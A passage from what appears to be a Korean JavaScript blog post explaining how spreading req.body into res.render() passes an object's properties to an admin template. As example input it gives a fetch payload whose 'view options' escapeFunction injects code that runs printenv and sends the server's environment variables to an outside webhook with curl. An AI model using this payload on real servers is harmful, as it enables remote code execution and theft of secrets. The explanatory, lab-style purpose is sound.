...id는 객체 분해 할당(destructuring assignment)의 문법입니다. 이 경우, req.body 객체에서 id 속성을 추출하여 새로운 객체로 만든다.
...id는 객체의 속성을 그대로 가져와서 새로운 객체로 할당하는 역할을 한다.
이를 통해 id 객체의 속성들을 개별적인 변수로 분해하지 않고, 한 번에 새로운 객체로 만들 수 있다.
따라서, res.render() 메서드에서 ...id를 사용함으로써, id 객체의 모든 속성들을 admin 템플릿으로 전달하는 것이 가능해진다.
이렇게 함으로써 admin 템플릿에서는 id 객체의 속성들을 개별적인 변수로 사용할 수 있게 된다.
넘겨 받는 데이터 예시
<script>
(async () => {
const r = await fetch('/api/messages', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
id: {
settings: {
'view options': {
client: true,
escapeFunction: '1;process.mainModule.require(`child_process`).exec(`printenv | curl https://webhook.site/… -d @-`);'
}
}
}
})
});
})();
</script>
'웹 개념 > javascript' 카테고리의 다른 글
for await of (0) | 2022.04.24 |
---|---|
try/catch (0) | 2022.04.24 |
콜백함수 (0) | 2022.04.20 |
super (0) | 2022.04.20 |
arguments 객체 (0) | 2022.04.20 |